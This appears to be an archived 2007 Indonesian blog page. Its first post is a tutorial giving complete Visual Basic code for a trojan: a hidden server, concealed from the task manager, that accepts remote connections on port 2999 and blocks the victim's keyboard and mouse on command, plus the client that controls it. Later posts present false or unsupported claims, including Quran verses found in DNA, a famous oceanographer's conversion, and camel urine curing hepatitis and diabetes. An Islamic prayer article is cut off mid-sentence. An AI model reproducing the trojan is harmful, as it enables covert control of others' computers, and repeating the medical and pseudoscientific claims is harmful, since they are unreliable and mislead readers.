Tuesday, July 10, 2007

Simple Trojan in VB ..... (only for learning)



Writing a Trojan is a lot easier than most people think. All it really involves is two simple applications both with fewer than 100 lines of code. The first application is the client or the program that one user knows about. The second is the server or the actual “trojan” part. I will now go through what you need for both and some sample code.

Server
The server is the Trojan part of the program. You usually will want this to be as hidden as possible so the average user can’t find it. To do this you start by using

Code: VB
Private Sub Form_Load()
Me.Visible = False
End Sub

This little bit of code makes the program invisible to the naked eye. Now we all know that the task manager is a little bit peskier. So to get our application hidden from that a little better we make our code look like this.

Code: VB

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
End Sub

So now, we have a program that is virtually invisible to the average user, and it only took four lines of code. Now all of you are thinking that this tutorial sucks right about now so lets make it a lot better by adding functions to our Trojan!
The first thing we want to do is make it be able to listen for connections when it loads. So in order to do this we need to add a Winsock Control. I named my control win but you can name yours what ever.

Now to make it listen on port 2999 when the Trojan starts up we make our code look like this.

Code: VB

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

This code will set the local open port to 2999 and the port it sends it to is 455. So now, we have a program that listens but still doesn’t do anything neat. Lets make it block the input of the user completely when we tell it to!

To do this little devious thing we need to add a module with the following code

Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

Then we add this code to our main form:

Code: VB

Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

The code in the module is called a windows API. It uses a dll file to do tasks that we want. Now this code still won’t block the users input but we are very close. We now need to program the DoActions function that we called on our main form. In case you were wondering the code that we added to the form does two different things. The first sub makes it so all connection requests are automatacly accepted. The second sub makes it so all data is automaticly accepted and it then passes all of the data to the function DoActions which we are about to code.

For the DoActions code, we want to make a public function in the module. So add this code to the module and we are about done with the server of the Trojan!

Code: VB

Public Function DoActions(x As String)
Dim Action
Select Case x
Case "block"
Action = BlockInput(True)
End Select
End Function

Ok now we have a program that when the data “block” is sent to it on port 2999 it will block the users input. I made a Select Case statement so it is easy to modify this code to your own needs later on. I recommend adding a unblock feature of your own. To do that just call the BlockInput function with the argument False instead of true.

Main Form

Code: VB

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

Private Sub win_ConnectionRequest(ByVal requestID As Long) ' As corrected by Darkness1337
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

Remember to add your winsock control and name it to win if you use this code.

Code: VB

Module

Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

Public Function DoActions(x As String)
Dim Action
Select Case x
Case "block"
Action = BlockInput(True)
End Select
End Function

That’s all there is to the server side or Trojan part of it. Now on to the Client.

Client

The client will be what you will interact with. You will use it to connect to the remote server (trojan) and send it commands. Since we made a server that accepts the command of “block” lets make a client that sends the command “block”.

Make a form and add a Winsock Control, a text box, and three buttons. The Text box should be named txtIP if you want it to work with this code. In addition, your buttons should be named cmdConnect, cmdBlockInput, and cmdDisconnect. Now lets look at the code we would use to make our Client.

Code: VB
Private Sub cmdConnect_Click()
IpAddy = txtIp.Text
Win.Close
Win.RemotePort = 2999
Win.RemoteHost = IpAddy
Win.LocalPort = 9999
Win.Connect
cmdConnect.Enabled = False
End Sub

Private Sub cmdDisconnect_Click()
Win.Close
cmdConnect.Enabled = True
End Sub

Private Sub cmdBlockInput_Click()
Win.SendData "block"
End Sub

That is the code for the client. All it does is gets the Ip Adress from txtIp and connects to it on remote port 2999. Then when connected you can send the “block” data to block off their input.


By vishal sharma


Note: "Hanya untuk di pelajari, bukan untuk kejahatan"

Sunday, July 8, 2007

Informasi DNA / Ayat Qur'an Dalam Cromosom

Seorang ilmuwan yang penemuannya sehebat Gallileo, Newton dan Einstein yang berhasil membuktikan tentang keterkaitan antara Al Qur'an dan rancang struktur tubuh manusia adalah Dr. Ahmad Khan. Dia adalah lulusan Summa Cumlaude dari Duke University. Walaupun ia ilmuwan muda yang tengah menanjak, terlihat cintanya hanya untuk Allah dan untuk penelitian genetiknya. Ruang kerjanya yang dihiasi kaligrafi, kertas-kertas penghargaan, tumpukan buku-buku kumal dan kitab suci yang sering dibukanya, menunjukkan bahwa ia merupakan kombinasi dari ilmuwan dan pecinta kitab
suci.


Salah satu penemuannya yang menggemparkan dunia ilmu pengetahuan adalah itemukannya informasi lain selain konstruksi Polipeptida yang dibangun dari kodon DNA. Ayat pertama yang mendorong penelitiannya adalah Surat "Fussilat" ayat 53 yang juga dikuatkan dengan has
il-hasil penemuan Profesor Keith Moore ahli embriologi dari Kanada.

Penemuannya tersebut diilhami ketika Khatib pada waktu salat Jumat membacakan salah satu ayat yang ada kaitannya dengan ilmu biologi. Bunyi ayat tersebut adalah sebagai berikut:
"...Sanuriihim ayatinaa filafaaqi wa fi anfusihim hatta yatabayyana lahum annahu ul-haqq..."

Yang artinya; Kemudian akan Kami tunjukkan tanda-tanda kekuasaan kami pada alam dan dalam diri mereka, sampai jelas bagi mereka bahwa ini adalah kebenaran".

Hipotesis awal yang diajukan Dr. Ahmad Khan adalah kata "ayatinaa" yang memiliki makna "Ayat Allah", dijelaskan oleh Allah bahwa tanda- tanda kekuasaanNya ada juga dalam diri manusia. Menurut Ahmad Khan ayat-ayat Allah ada juga dalam DNA (Deoxy Nucleotida Acid) manusia.


Selanjutnya ia beranggapan bahwa ada kemungkinan ayat Alquran merupakan bagian dari gen manusia.

Dalam dunia biologi dan genetika dikenal banyaknya DNA yang hadir tanpa memproduksi protein sama sekali.

Area tanpa produksi ini disebut Junk DNA atau DNA sampah.

kenyataannya DNA tersebut menurut Ahmad Khan jauh sekali dari makna sampah. Menurut hasil hasil risetnya, Junk DNA tersebut merupakan untaian firman-firman Allah sebagai pencipta serta sebagai tanda kebesaran Allah bagi kaum yang berpikir.

Sebagaimana disindir oleh Allah: "Afala tafakaruun " (apakah kalian tidak mau bertafakur atau menggunakan akal pikiran?).

Setelah bekerjasama dengan adiknya yang bernama Imran, seorang yang ahli dalam analisis sistem, laboratorium genetiknya mendapatkan proyek dari pemerintah. Proyek tersebut awalnya ditujukan untuk meneliti gen kecerdasan pada manusia. Dengan kerja kerasnya Ahmad Khan berupaya untuk menemukan huruf Arab yang mungkin dibentuk dari rantai Kodon pada kromosom manusia. Sampai kombinasi tersebut menghasilkan ayat-ayat Al Qur'an. Akhirnya pada tanggal 2 Januari tahun 1999 pukul 2 pagi, ia menemukan ayat yang pertama "Bismillah ir Rahman ir Rahiim. "Iqra bismirrabbika ladzi Khalq", "Bacalah dengan nama Tuhanmu yang menciptakan". Ayat tersebut adalah awal dari surat Al-A'laq yang merupakan surat pertama yang diturunkan Allah kepada Nabi Muhammad di Gua Hira. Anehnya setelah penemuan ayat pertama tersebut ayat lain muncul satu persatu secara cepat. Sampai sekarang ia telah berhasil menemukan 1/10 ayat Alquran.

Dalam wawancara yang dikutip "Ummi" edisi 6/X/99, Ahmad Khan menyatakan: "Saya yakin penemuan ini luar biasa, dan saya mempertaruhkan karier saya untuk ini. Saya membicarakan penemuan say
a dengan dua rekan saya; Clive dan Martin seorang ahli genetika yang selama ini sinis terhadap Islam. Saya menyurati dua ilmuwan lain yang selama ini selalu alergi terhadap Islam yaitu Dan Larhammar dari Uppsala University Swedia dan Aris Dreisman dari Universitas Berlin.

Ahmad Khan kemudian menghimpun penemuan-penemuannya dalam beberapa lembar kertas yang banyak me
muat kode-kode genetika rantai kodon pada cromosome manusia yaitu; T, C, G, dan A masing-masing kode Nucleotida akan menghasilkan huruf Arab yang apabila dirangkai akan menjadi firman Allah yang sangat mengagumkan.

Di akhir wawancaranya Dr. Ahmad Khan berpesan "Semoga penerbitan buku saya "Alquran dan Genetik", semakin menyadarkan umat Islam, bahwa Islam adalah jalan hidup yang lengkap. Kita tidak bisa lagi memisahkan agama dari ilmu politik, pendidikan atau seni. Semoga non muslim menyadari bahwa tidak ada gunanya mempertentangkan ilmu dengan agama.

Demikian juga dengan ilmu-ilmu keperawatan.

Penulis berharap akan datang suatu generasi yang mendalami prinsip-prinsip ilmu keperawatan yang digali dari agama Islam. Hal ini dapat dimulai dari niat baik para pemegang kebijakan (decission maker) yang beragama Islam baik di institusi pendidikan atau pada level pemerintah.

Mem-fasilitasi serta memberi dukungan secara moral dan finansial.

Terbukanya t
abir hati ahli Farmakologi Thailand Profesor Tajaten Tahasen, Dekan Fakultas Farmasi Universitas Chiang Mai Thailand, baru- baru ini menyatakan diri masuk Islam saat membaca makalah Profesor Keith Moore dari Amerika. Keith Moore adalah ahli Embriologi terkemuka dari Kanada yang mengutip surat An-Nisa ayat 56 yang menjelaskan bahwa luka bakar yang cukup dalam tidak menimbulkan sakit karena ujung-ujung syaraf sensorik sudah hilang. Setelah pulang ke Thailand Tajaten menjelaskan penemuannya kepada mahasiswanya, akhirnya mahasiswanya sebanyak 5 orang menyatakan diri masuk Islam.

Bunyi dari surat An-Nisa tersebut antara lain sebagai berkut :
"Sesungguhnya orang-orang kafir terhadap ayat-ayat kami, kelak akan kami masukkan mereka ke dalam neraka, setiap kali kulit mereka terbakar hangus, kami ganti kulit mereka dengan kulit yang lain agar mereka
merasakan pedihnya azab. "Sesungguhnya Allah Maha Perkasa lagi Maha Bijaksana."

Ditinjau secara anatomi lapisan kulit kita terdiri atas 3 lapisan global yaitu; Epidermis, Dermis, dan Sub Cutis. Pada lapisan Su
b Cutis banyak mengandung ujung-ujung pembuluh darah dan syaraf. Pada saat terjadi Combustio grade III (luka bakar yang telah menembus sub cutis) salah satu tandanya yaitu hilangnya rasa nyeri dari pasien.

Hal ini disebabkan karena su
dah tidak berfungsinya ujung-ujung serabut syaraf afferent dan efferent yang mengatur sensasi persefsi. Itulah sebabnya Allah menumbuhkan kembali kulit yang rusak pada saat ia menyiksa hambaNya yang kafir supaya hambaNya tersebut dapat merasakan pedihnya azab Allah tersebut.

Mahabesar Allah yang telah menyisipkan firman-firmannya dan informasi sebagian kebesaranNya lewat sel tubuh, kromosom, pembuluh darah, pembuluh syaraf dsb.

Rabbana makhalqta ha
da batila, Ya...Allah tidak ada sedikit pun yang engkau ciptakan itu sia-sia.

Dari bahtera menuju Islam Seorang pakar kelautan menyatakan betapa terpesonanya ia kepada Al Qur'an yang telah memberikan jawaban dari pencariannya selama ini.

Prof. Jackues Yves Costeau seorang oceanografer, yang sering muncul di televisi pada acara Discovey, ketika
sedang menyelam menemukan beberapa mata air tawar di tengah kedalaman lautan. Mata air tersebut berbeda adar kimia, warna dan rasanya serta tidak bercampur dengan air laut yang lainnya. Bertahun-tahun ia berusaha mengadakan penelitian dan mencari jawaban misteri tersebut.

Sampai suatu hari bertemu dengan seorang profesor muslim, kemudian ia menjelaskan tentang aya
t Al Qur'an Surat Ar-Rahman ayat 19-20 dan surat Al-Furqon ayat 53. Awalnya ayat itu ditafsirkan muara sungai tetapi pada muara sungai ternyata tidak ditemukan mutiara.

Terpesonalah Mr. Costeau sampai ia masuk Islam. Kutipan ayat tersebut antara lain sebagai berikut: "Dan Dialah yang membiarkan dua laut mengalir (berdampingan, yang ini tawar lagi segar dan yang lain asin lagi pahit, dan Dia jadikan antar-keduanya dinding dan batas yang me
nghalang" (QS Al-Furqon: 53).

Berdasarkan contoh kasus di atas, dapat memberikan gambaran pada kita bahwa ayat suci Alquran mampu menjelaskan fenomena Cromosome, Anatomi, Oceanografi, Keperawatan dan antariksa (baca "Jurnal Keperawatan Unpad" edisi 4, hal 64-70). Sebenarnya masih banyak ayat- ayat Al Qur'an yang menerangkan fenomena evolution and genetic seperti QS As-Sajdah 4, QS al-A'raf 53, QS Yusuf 3, QS Hud 7, tetapi karena keterbatasan ruangan pada kolom ini, serta dengan segala keterbatasan ilmu dan pengetahuan yang dimiliki penulis, maka kepada Allah jualah hendaknya kita berharap dan hanya Allah-lah yang Ma
haluas dan
Mahatinggi ilmunya.

Wallahu a'lam.***





Sari Kurma Menjadi Bahan Bakar Mobil Alternatif

Sana'a-RoL-- Kurma yang selama ini dikenal sebagai salah satu makanan pokok di Arab, berhasil diubah menjadi bahan bakar alternatif ramah lingkungan oleh seorang peneliti dan pengusaha Oman.

Mohamed Bin Saif Al-Harisi seperti dilaporkan harian Al-Bayan, Sabtu (7/7) berhasil membuat bensin alternatif yang diujicoba dengan kendaraan pribadinya menggunakan sari dari kurma.

Hasil tersebut akhirnya memunculkan ide untuk melakukan investasi di kawasan industri Al-Sahari, 240 km utara ibu kota Muscat. Ia telah memperoleh ijin dari Kementerian Perindustrian dan Perdagangan untuk memproduksi etanol dari korma.

"Proyek ini kami namakan energi hijau Oman dengan modal dasar 28 juta dolar. Alat-alatnya akan segera didatangkan dari Brazil dan diperkirakan mulai berproduksi pada awal 2008," jelasnya.

Al-Harisi menargetkan untuk produksi perdana sebanyak 900 ribu liter per hari. Alokasi perkebunan kurma untuk bahan baku energi hijau tersebut sebanyak 80 ribu pohon.

Ia optimis permintaan bahan bakar hijau ramah lingkungan itu akan cepat meningkat sehingga dalam 10 tahun mendatang jumlah pohon korma untuk bahan bakar bisa mencapai 10 juta pohon.

Ide pertama Al-Harisi untuk memproduksi bahan bakar alternatif tersebut muncul saat berada di AS. "Mereka di sana (AS) memproduksi minyak diesel dari minyak makanan, lalu saya tertarik melakukan uji coba yang sama."

"Kami telah mencoba bahan bakar dari sari korma ini di kendaraan saya dan tidak ada masalah. Namun kami akan melakukan penelitian lebih lanjut untuk mengetahui efeknya sehingga semua bisa selesai pada 2010," tambahnya.

Ia berharap bahwa bahan bakar alternatif dari sari kurma itu bisa menyebar ke negara-negara Arab lainnya. "Kami berharap proyek kami ini sebagai perintis di dunia Arab," paparnya. antara

\
abi


� 2005 Hak Cipta oleh Republika Online.
Kontak Webmaster |
Dilarang mengutip tanpa mencantumkan sumber Republika.



Kencing Onta Dapat Sembuhkan Hepatitis dan Diabetes

Sana'a--RoL-- Sejak beberapa tahun belakangan ini, sejumlah peneliti di Arab melakukan penelitian tentang kandungan zat dalam air seni dan susu onta, yang diyakini dapat menyembuhkan sejumlah penyakit.

Dr. Abdulrahman Al-Qassas, seorang peneliti di Universitas Ummul Qura, Mekkah menegaskan lagi bahwa kencing dan susu onta dapat menyembuhkan beberapa penyakit diantaranya hepatitis, penyakit gula (diabetes) dan penyakit kulit. "Hasil penelitian mutakhir telah membuktikan bahwa air seni dan susu onta dapat menyembuhkan sejumlah penyakit," paparnya di hadapan forum mahasiswa tingkat empat seperti dikutip media setempat Jum`at(6/7).

Menurutnya, pengobatan tergantung dari kondisi pasien. "Ada yang hanya memerlukan air seni dan ada pasien yang cukup dengan susu onta saja. Sebagian pasien perlu mendapat pengobatan dengan mencampur susu dan air seni onta."

Al-Qassas juga, menyebutkan beberapa penyakit perut lainnya yang dapat disembuhkan dengan air kencing binatang yang sering juga disebut "safinah al-sahra" (kapal padang pasir) itu.

Dalam kesempatan itu, Al-Qasas menjelaskan secara rinci hadis-hadis Rasulullah SAW tentang khasiat air seni dan susu onta tersebut yang diperkuat dengan berbagai penelitian yang dilakukan para ahli belum lama ini.

Kalangan ulama Islam sejak lama telah mengumpulkan hadist yang berkaitan dengan tib (medis) dan memasukkan dalam katagori hadist mukjizat ilmiah yang dapat dibuktikan kebenarannya lewat penelitian
ilmiah mutakhir. Antara
yto




� 2005 Hak Cipta oleh Republika Online.
Kontak Webmaster |
Dilarang mengutip tanpa mencantumkan sumber Republika.


Friday, July 6, 2007

Sholat Qosar dan Jama'

Menunaikan sembahyang qasar dan jama', bukanlah suatu pekerjaan yang sengaja
diada adakan oleh Nabi saw, para sahabat atau para ulama selepas mereka,
tetapi ia adalah arahan dari Allah swt sebagaimana firmanNya: "Dan apabila
kamu belayar (musafir atau berpergian) di muka bumi, maka tidaklah mengapa
untuk kamu mengqasar sembahyang (kamu)". AN NISA', 4:101.
Nabi Muhammad saw, para sahabat, para tabiin dan tabiut attabiin (salaf as
soleh) tidak pernah meninggalkan sembahyang qasar, begitu juga dengan orang
orang Islam yang benar benar berpegang dengan sunnah, kerana sembahyang
qasar ini adalah kurnia Allah swt kepada hambaNya yang beriman sebagaimana
hadith Nabi saw: "Bahawasanya Omar ra telah bertanya kepada Rasulullah saw
tentang sembahyang qasar dalam suasana semua manusia berkeadaan aman damai?
Maka Rasulullah menjawab dengan sabdanya : Sembahyang qasar adalah sedekah
yang dikurniakan Allah kepada semua, maka terimalah oleh kamu sedekahNya
itu". H/R Jamaah, kecuali al-Bukhari.
"Bersembahyanglah kamu sebagaimana kamu melihat aku sembahayang". Al hadith.
Dari hadith ini, kita boleh fahami bahawa penentuan cara bersembahyang
qasar, bentuk, waktu, tempat, rukun dan syaratnya adalah hanya dengan
mencontohi sembahyang Nabi Muhammad saw. Walaupun al Quraan telah
memerintahkan bersembahyang, tetapi al Quraan tidak mengajarkan cara
caranya, kerana jika hanya berpandukan kepada kitab tersebut semata mata ia
tidak mengkhususkan sama ada bersembahyang hanya dua rakaat seperti mana
yang dilakukan oleh kaum kaum sebelum Nabi Muhammad saw yang hanya
bersembahyang dua rakaat sebagaimana yang diterangkan oleh Nabi saw di
hadith beliau di bawah ini: "Dari 'Aisyah ra beliau berkata : Sembahyang
yang pertama kali difardukan ialah dua rakaat, kemudian ditetapkan
sembahyang dalam perjalanan (dua rakaat itu) dan disempurnakan sembahyang
orang yang menetap (selain orang musafir)". Muttafaq 'alaih.
Dan hadith dari Aisyah beliau berkata "Kemudian setelah Nabi saw berhijrah,
lalu difardukan sembahyang empat rakaat". H/R al Bukhari.
Dalam memperkatakan sembahyang qasar dua rakaat, Imam Ahmad mengecualikan
sembahyang Magrib, kerana magrib difardukan tiga rakaat, kerana sembahyang
magrib adalah witir siang sebagaimana keterangan dari hadith Nabi yang
masyhur, maka sembahyang Magrib tidak boleh diqasarkan kepada dua rakaat.
"Dari Aisyah berkata : Sembahyang ketika diwajibkan di Mekkah dua rakaat dua
rakaat, kemudian setelah Rasulullah saw berhijrah ke Madinah ditambah pada
setiap dua rakaat dua rakaat lagi, kecuali sembahyang Magrib, kerana ia
adalah sebagai sembahyang witir siang hari, dan sembahyang fajar (Subuh)
kerana panjang bacaannya. Dan jika beliau belayar (berpergian) maka beliau
kerjakan sembahyang yang pertama (dua rakaat) iaitu sebagaimana sembahyang
yang dikerjakan di Mekkah". H/R Ahmad, al Baihaqi, Ibn Habban dan Ibn
Huzaimah, kesemua perawinya dipercayai ( ) .

"Dari Ibn Omar beliau berkata : Semasa aku menemani Nabi saw, sembahyang
beliau semasa musafir tidak lebih dari dua rakaat, dan begitu juga dengan
Abu Bakar, Omar dan juga Osman". Muttafaq 'alaihi.
"Dari Aisyah beliau berkata : Allah mewajibkan sembahyang ketika
mewajibkannya ialah dua rakaat dua rakaat di kediaman (tidak belayar) atau
semasa musafir. Kemudian sembahyang itu ditetapkan (dua rakaat dua rakaat)
bagi musafir dan diberi penambahan bagi yang tidak musafir". H/R al Bukhari
dan Muslim.
Hadith di atas menunjukkan wajibnya qasar semasa musafir atau semasa di
dalam pelayaran, kerana pada hadith sahih dari Aisyah yang diriwayatkan oleh
Ahmad di atas terdapat kalimah ( ) "telah difardukan atau
diwajibkan". Imam at Thobraniy meriwayatkan dalam kitab ( ) sebuah
hadith dari Ibn Omar, iaitu Nabi saw bersabda:
"Sembahyang orang musafir itu dua rakaat yang diturunkan dari langit, maka
sebaiknya kamu kembalikanlah keduanya (sebagai mana perintah dari langit)".
H/R At Thobraniy. Menurut al Haisyamiy : "Semua perawi hadith ini dipercayai
."( )
Imam at Thobraniy juga telah meriwayatkan lagi sebuah hadith yang kesemua
perawinya menepati sebagai perawi hadith yang sahih:
"Sembahyang dalam pelayaran (perjalanan) itu dua rakaat, sesiapa yang
menyalahi sunnah itu, maka kafirlah dia". H/R At Tobraniy.
Hadith hadith di atas telah disokong (dikuatkan) lagi dengan sabda Nabi saw:
"Dari Ibn Omar beliau berkata : Bahawa Allah menyukai jika dilaksanakan
sesuatu yang telah diizinkanNya (diberi keringanan) sebagaimana Allah
membenci (terhadap seseorang) yang melakukan pelanggaran maksiat (perkara
yang dilarangNya)". H/R Ahmad.
Berkata al Khitabi : "Kalangan Ulama as Salaf dan ahli ahli fiqh di masa
itu, menekankan bahwa sembahyang qasar adalah wajib. Ini bersandarkan
(berpandukan) dengan kata kata Ali, Omar, Ibn Omar dan Ibn Abbas. Begitu
juga melalui riwayat Omar bin Abdulaziz, Qatadah dan al Hasan". Berkata
Humad bin Sulaiman : "Diulang semula sembahyang sesiapa yang mengerjakan
sembahyang empat rakaat di dalam musafir". Berkata Imam Malik : "Diulang
semula selagi ada waktu". (Nailul autar, M/S 245, Jlld,2. as Syaukaniy).
Pelayaran atau perjalanan yang jauh sering menghadapi kesulitan, sering
menempuh berbagai masaalah dan rintangan, sehingga Nabi Muhammad saw
mengumpamakan musafir itu sebagai sebahagian dari azab, sebagaimana hadith
beliau:
"Dari Abi Hurairah beliau berkata : Bersabda Rasulullah saw : Musafir itu
adalah sebahagian dari azab yang menghalangi seseorang itu dari tidur, makan
dan minum (secara yang sempurna). Maka oleh kerana itu apabila seseorang
telah selesai keperluannya dalam pelayaran, hendaklah segera pulang
kepangkuan keluarganya". H/R Ahmad, al Bukhari, Muslim dan Ibn Majah.
Untuk meringankan kesulitan, maka Allah swt telah memberi kelunggaran
kepada orang orang yang beriman supaya mengqasarkan sembahyang mereka semasa
musafir atau semasa berpergian, malah sembahyang qasar ini juga telah
dijadikan sedekah (hadiah) oleh Allah kepada hamba hambaNya yang beriman
disamping ia telah diwajibkanNya.

BILA DAN BERAPA JARAK WAJIB QASAR DAN JAMA'?.
Tiada sesiapa yang berhak untuk menentukan bila dan berapa jauh jarak
perjalanan yang membolehkan seseorang itu bersembahyang qasar dan jama'
kecuali Allah dan RasulNya, maka apabila terdapat perselisihan pendapat
dalam hal ini, wajiblah dikembalikan penyelesaiannya kepada kitab Allah dan
sunnah rasulNya, sebagaimana firman Allah:
"Tentang suatu apapun yang kamu perselisihkan, maka pemutusnya
(penghukumannya) hendaklah dikembalikan kepada Allah". ASY SYURA, 42:10.
"Maka jika berlaku perselisihan pendapat tentang sesuatu, maka kembalikanlah
ia kepada Allah(al Quraan) dan Rasul ( Sunnahnya) Jika kamu benar benar
beriman kepada Allah dan hari kemudian. Yang demikian itu lebih utama (baik
bagimu) dan lebih baik akibatnya". AN NISAA' , 4:59.
Maka hanya dengan mengembalikan kepada Allah dan RasulNya sahaja kita akan
mendapat jawapan yang tepat dan betul, tetapi sebaliknya kalau dikembalikan
kepada pendapat manusia pastinya ia akan menjadi perselisihan yang
berterusan tanpa penghujungnya, kerana hanya wahyu Allah dan sabda RasulNya
sahaja yang tidak akan bertentangan diantara satu dengan yang lain, perkara
ini telah ditegur oleh Allah dengan firmanNya:
"Dan jika sekiranya (al Quraan) itu bukan dari sisi Allah, sudah pasti
mereka akan mendapati di dalam (al Quraan tersebut) perselisihan yang
banyak". AN NISAA', 4:82.
Dengan penjelasan ayat ayat di atas, maka sebenarnya tidak akan terdapat
sembarang perselisihan dalam bab qasar dan jama' ini begitu juga dengan bab
bab hukum ahkam yang lain, maka hadith hadith sahih yang memperkatakan
tentang sembahyang qasar ini yang menjadi panduan kita ialah seperti
berikut;
"Dari Anas bahawasanya beliau menjawab semasa ditanya tentang sembahyang
qasar diantara Basrah dan Kufa : Dahulu Rasulullah saw jika berpergian
sejauh tiga batu atau sefarsakh beliau sembahyang dua rakaat". H/R Ahmad,
Muslim dan Abu Daud. Menurut Ibn Hajar, hadith ini tergolong hadith yang
paling sahih.
Menurut Ulama Fiqh, satu farsakh ialah tiga batu, ini diambil mengikut jarak
kiraan Parsi, iaitu satu farsakh berukuran sejauh tiga batu, dengan anggaran
apabila masih dapat dilihat (kelihatan) pergerakan seseorang yang jauh di
tanah datar tetapi tidak dapat dikenali lelaki atau perempuan.
Penjelasan ini disamping dapat dikuatkan dengan hadith di atas, ia juga
dapat difahami melalui hadith di bawah ini:
"Dari Abi Sa'id beliau mengatakan : Sesungguhnya Rasulullah saw apabila
musafir sejauh satu farsakh, maka beliau mengqasar sembahyangnya". H/R Sa'id
bin Mansur.
Hadith yang diriwayatkan oleh Ahmad, Muslim dan Abu Daud di atas adalah
hadith yang paling sahih, dan ia dikuatkan lagi dengan hadith riwayat Sa'id
bin Mansur. Maka tidak selayaknya kita menta'wilkan atau membuat andaian
pada hadith hadith di atas, sebagaimana ada golongan yang mengandaikan :
"Mungkin Nabi saw mahu belayar lebih jauh dari itu, tetapi setelah berjalan
sejauh tiga batu lalu masuk waktu, maka ia terus mengqasarkan
sembahyangnya". Andaian seperti ini tidak diizinkan oleh syarak.
Ada yang menolak hadith di atas dengan hadith dari Anas bin Malik, yang mana
Nabi saw telah bersembahyang qasar di Dzulhulaifah, yang jaraknya tujuh batu
dari Madinah. sebagaimana hadith dibawah:
"Dari Anas bin Malik ra beliau berkata : Aku bersembahyang Zhuhur bersama
Rasulullah di Madinah empat rakaat, dan bersembahyang di Dzulhulaifah dua
rakaat". H/R Muslim.
Hadith dari Anas ini tidak bertentangan dengan hadith riwayat Muslim di atas
yang juga merupakan hadith dari Anas, sebaliknya hadith ini telah menguatkan
lagi hadith tersebut, kerana jika perjalanan sejauh tiga batu sudah
diizinkan mengqasar sembahyang, maka tentunya perjalanan yang lebih jauh
dari itu (yaitu tujuh batu) sudah tiada halangan lagi untuk mengqasarkan
sembahyang. Lagipun tidak terdapat pensyaratan pada mana mana hadith atau
pada semua hadith hadith tentang sembahyang qasar perintah dari Nabi yang
berupa : "Kalau mahu berqasar atau mengqasarkan sembahyang semasa musafir
mestilah kerana kamu hendak musafir jauh, atau kerana mahu musafir yang lama
atau juga kerana mahu menunaikan haji dan sebagainya". Pensyaratan begini
yang bukan dari syarak atau diambil contoh panduannya dari syarak, maka
syarat tambahan seperti ini tetap (terpaksa) ditolak. Dan dari hadith hadith
sahih di atas telah jelas membuktikan, bahawa apabila seseorang berpergian
setelah jaraknya melebihi tiga batu dari tempat ia bermuqim, tidak terdapat
satupun nas yang melarang untuk mengqasar sembahyangnya, malah yang
menunjukkan ke arah berbuat begitu (mengqasar dan menjama' sama ada taqdim
atau takhir) sudah jelas terdapat hujjah dan contohnya dari syarak untuk
kita jadikan panduan.

MENGAPA 'UTHMAN TIDAK MENGQASAR SEMBAHYANGNYA?
Terdapat tiga buah hadith yang diriwayatkan oleh al Bukhari telah menyentuh
(memperkatakan) "SEMBAHYANG 'UTHMAN DI MINA', yang mana hadith hadith
tersebut dengan jelas sekali menceritakan bahawa 'Uthman bin 'Affan r.a
tidak mengqasarkan sembahyangnya semasa di Mina, begitu juga dengan Aisyah
r.a isteri Rasulullah saw yang telah mengikuti cara sembahyang 'Uthman r.a,
sebagaimana yang terdapat di hadith al Bukhari yang tercatit di bawah ini:
"Dari Nafi', dari Abdullah r.a beliau berkata : Aku bersembahyang bersama
Nabi saw di Mina dua rakaat, begitu juga dengan Abu Bakar, Omar dan 'Uthman
diawal pemerintahan beliau. Ternyata beliau menyempurnakan sembahyangnya
(empat rakaat).
"Dari Ibrahim berkata : Aku mendengar Abdulrahman bin Yazid berkata : Kami
bersembahyang bersama 'Uthman bin 'Affan r.a di Mina empat rakaat".
"Berkata az Zuhri : Maka aku bertanya kepada 'Urwah : Apakah yang membuat
Aisyah menyempurnakan sembahyangnya? Beliau berkata : Ditakwil
(dilaksanakan) sebagaimana perlaksanaan "Uthman (empat rakaat)".
Hadith hadith di atas telah menimbulkan persoalan, tetapi ia dapat
diselesaikan dan dijawab dengan ringkas melalui beberapa jawapan sahaja,
yaitu:
Pertama: 'Uthman bersembahyang empat rakaat di Mina kerana pada masa beliau
mendirikan sembahyang tersebut beliau bukan lagi boleh dianggap sebagai
seorang yang musafir, tetapi sebaliknya, beliau telah dianggap sebagai
seorang yang telah bermukim, penjelasan ini dapat diambil dari riwayat Mu'
ammar dari az Zuhri, bahawasanya 'Uthman bersembanyang empat rakaat di Mina
lantaran beliau telah bertekad untuk menetap di situ setelah selesai
mengerjakan haji. Dan telah diriwayatkan dari Yunus dari 'Uthman bahawa
setelah beliau selesai menjalankan tugas mengutip harta negara dari Taif,
beliau mengambil keputusan menetap di Mina, maka beliau bersembahyang di
situ empat rakaat sebagaimana cara bersembahyang bagi orang orang yang
menetap (bermukim bukan musafir). Dan diriwayatkan juga oleh Mughira dari
Ibrahim beliau berkata : 'Uthman bersembahyang empat rakaat kerana telah
mengambil keputusan untuk menetap di Mina. Lihat M/s.119, jilid 7.
Kedua: Dalam persoalan Aisyah r.a pula, beliau telah mengikuti jejak
'Uthman, yang mana beliau dengan jelas mengakui melakukan "mengerjakan
sembahyang sebagaimana 'Uthman melakukannya" iaitu dalam keadaan mukim (niat
menetap), maka telah jelas dalam syara' bahawa setiap musafir yang telah
berniat untuk menetap atau bermukim, tidak diwajibkan lagi bagi mereka untuk
mengqasarkan sembahyang mereka. Begitu juga, adalah amat mustahil jika
Aisyah mengucapkan kata kata, melakukan sesuatu perbuatan dan amalan yang
bertentangan dengan beberapa hadith sahih yang beliau sendiri riwayatkan,
yang mana hadith hadith beliau itu telah menjelaskan akan wajibnya orang
orang yang musafir mengqasarkan sembahyang mereka. Maka dengan demikian
hadith hadith di atas tidak bertentangan dengan hadith hadith sahih (yang
bersangkutan dengan hukum sembahyang musafir atau qasar), kerana hadith
hadith di atas tidak ada kena mengena (bersangkut paut) dengan hukum
sembahyang qasar semasa musafir.

MENJAMA'KAN SEMBAHYANG QASAR
Berkenaan sembahyang qasar yang dilakukan oleh Rasulullah saw, beliau
